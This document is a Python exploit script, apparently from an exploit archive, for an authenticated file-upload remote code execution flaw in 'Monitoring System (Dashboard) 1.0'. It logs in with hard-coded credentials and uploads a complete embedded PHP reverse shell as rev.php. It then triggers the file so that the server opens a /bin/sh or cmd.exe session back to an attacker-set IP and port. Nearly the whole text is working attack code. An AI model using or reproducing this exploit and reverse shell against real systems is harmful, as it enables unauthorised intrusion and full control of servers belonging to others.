1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 |
# Exploit Title: Monitoring System (Dashboard) 1.0 - File Upload RCE (Authenticated) # Exploit Author: Richard Jones # Date: 2021-03-11 # Vendor Homepage: https://www.sourcecodester.com/php/11741/monitoring-system-dashboard.html # Software Link: https://www.sourcecodester.com/download-code?nid=11741&title=Monitoring+System+%28Dashboard%29+using+PHP+with+Source+Code # Version: 1.0 # Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34 # Usage. # Change Target_IP, REV_IP, REV_PORT to your own import requests def main(): ##### Change info here ##### TARGET_IP="127.0.0.1" REV_IP="127.0.0.1" REV_PORT=9999 ############################ LOGIN="/asistorage/login.php" MAILING_LIST="/asistorage/modules/random/index.php?view=add" UPLOAD_URL="/asistorage/modules/random/upload.php" VIEW_ITEM="/asistorage/modules/random/index.php" CALL_URL="/asistorage/modules/random/uploads/" s = requests.Session() def phpshell(): return """ <?php // Copyright (c) 2020 Ivan Å incek // v1.1 // Requires PHP v5.0.0 or greater. // Works on Linux OS, macOS and Windows OS. // See the original script at https://github.com/pentestmonkey/php-reverse-shell. header('Content-Type: text/plain; charset=UTF-8'); class Shell { private $addr= null; private $port= null; private $os= null; private $shell = null; private $descriptorspec = array( 0 => array('pipe', 'r'), // shell can read from STDIN 1 => array('pipe', 'w'), // shell can write to STDOUT 2 => array('pipe', 'w')// shell can write to STDERR ); private $options = array(); // proc_open() options private $buffer= 1024;// read/write buffer size private $clen= 0; // command length private $error = false; // stream read/write error public function __construct($addr, $port) { $this->addr = $addr; $this->port = $port; if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS $this->os= 'LINUX'; $this->shell = '/bin/sh'; } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) { $this->os= 'WINDOWS'; $this->shell = 'cmd.exe'; $this->options['bypass_shell'] = true; // we do not want a shell within a shell } else { echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n"; exit(0); } } private function daemonize() { set_time_limit(0); // do not impose the script execution time limit if (!function_exists('pcntl_fork')) { echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n"; } else { if (($pid = pcntl_fork()) < 0) { echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n"; } else if ($pid > 0) { echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n"; exit(0); } else if (posix_setsid() < 0) { // once daemonized you will no longer see the script's dump echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n"; } else { echo "DAEMONIZE: Completed successfully!\n"; } } umask(0); // set the file/directory permissions - 666 for files and 777 for directories } private function read($stream, $name, $buffer) { if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream $this->error = true;// set global error flag echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n"; } return $data; } private function write($stream, $name, $data) { if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream $this->error = true;// set global error flag echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n"; } return $bytes; } // read/write method for non-blocking streams private function rw($input, $output, $iname, $oname) { while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) { echo $data; // script's dump if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length } } // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS) // we must read the exact byte length from a stream and not a single byte more private function brw($input, $output, $iname, $oname) { $size = fstat($input)['size']; if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) { // for some reason Windows OS pipes STDIN into STDOUT $size -= $this->offset($input, $iname, $this->clen); // we do not like that $this->clen = 0; } $fragments = ceil($size / $this->buffer); // number of fragments to read $remainder = $size % $this->buffer; // size of the last fragment if it is less than the buffer size while ($fragments && ($data = $this->read($input, $iname, $remainder && $fragments-- == 1 ? $remainder : $this->buffer)) && $this->write($output, $oname, $data)) { echo $data; // script's dump } } private function offset($stream, $name, $offset) { $total = $offset; while ($offset > 0 && $this->read($stream, $name, $offset >= $this->buffer ? $this->buffer : $offset)) { // discard the data from a stream $offset -= $this->buffer; } return $offset > 0 ? $total - $offset : $total; } public function run() { $this->daemonize(); // ----- SOCKET BEGIN ----- $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30); if (!$socket) { echo "SOC_ERROR: {$errno}: {$errstr}\n"; } else { stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS // ----- SHELL BEGIN ----- $process = proc_open($this->shell, $this->descriptorspec, $pipes, '/', null, $this->options); if (!$process) { echo "PROC_ERROR: Cannot start the shell\n"; } else { foreach ($pipes as $pipe) { stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS } // ----- WORK BEGIN ----- fwrite($socket, "SOCKET: Shell has connected! PID: " . proc_get_status($process)['pid'] . "\n"); while (!$this->error) { if (feof($socket)) { // check for end-of-file on SOCKET echo "SOC_ERROR: Shell connection has been terminated\n"; break; } else if (feof($pipes[1]) || !proc_get_status($process)['running']) { // check for end-of-file on STDOUT or if process is still running echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams }// use proc_get_status() instead $streams = array( 'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR 'write'=> null, 'except' => null ); $num_changed_streams = stream_select($streams['read'], $streams['write'], $streams['except'], null); // wait for stream changes | will not wait on Windows OS if ($num_changed_streams === false) { echo "STRM_ERROR: stream_select() failed\n"; break; } else if ($num_changed_streams > 0) { if ($this->os === 'LINUX') { if (in_array($socket, $streams['read'])) { $this->rw($socket, $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket, 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket, 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET } else if ($this->os === 'WINDOWS') { // order is important if (in_array($socket, $streams['read'])) { $this->rw ($socket, $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN if (fstat($pipes[2])['size']/*-------*/) { $this->brw($pipes[2], $socket, 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET if (fstat($pipes[1])['size']/*-------*/) { $this->brw($pipes[1], $socket, 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET } } } // ------ WORK END ------ foreach ($pipes as $pipe) { fclose($pipe); } proc_close($process); } // ------ SHELL END ------ fclose($socket); } // ------ SOCKET END ------ } } // change the host address and/or port number as necessary $reverse_shell = new Shell('OLDIP', OLDPORT); $reverse_shell->Run(); ?>""" def login(url,username, password): try: data = { "uname":username, "upass":password, "btnlogin":"" } r = s.post(url,data=data, verify=False) page = r.text if "Invalid Username or Password, please try again." in page: return False else: return True except : return False def uploadShell(url): s.get(f"{url}{MAILING_LIST}") # Call page fileData = { 'uploaded_file':("rev.php",str(phpshell().replace("OLDIP", REV_IP).replace("OLDPORT", str(REV_PORT))).encode(), "application/octet-stream")} data={ "pname":"", "pname":"a", 'cutoff':'', 'cutoff':'a', 'projectname':'', 'type':'a', 'projectname':'', 'dsend':'2029-03-19', 'desc':'a', 'MAX_FILE_SIZE':100000, 'Uploader':'', } up_url=f"{url}{UPLOAD_URL}" r = s.post(up_url, files=fileData,data=data, verify=False) if r.status_code == 200: print("shell uploaded") else: print("Shell upload failed") exit(0) r = s.get(f"{url}{VIEW_ITEM}") page = r.text DL_URL=page.split("download.php?filename=")[1].split("\">")[0] return DL_URL #Login base_url=f"http://{TARGET_IP}" login_url=f"{base_url}{LOGIN}" b=login(login_url, "jim", "jim") if not b: print("Login failed, Try again...") exit(0) #CAll shell base=f"{base_url}" CALL_URL_PART=uploadShell(base) c_url=f"{base}{CALL_URL}{CALL_URL_PART}" s.get(c_url) #Shell can be found at http:/TARGET//asistorage/modules/random/uploads/ if __name__ == "__main__": main() |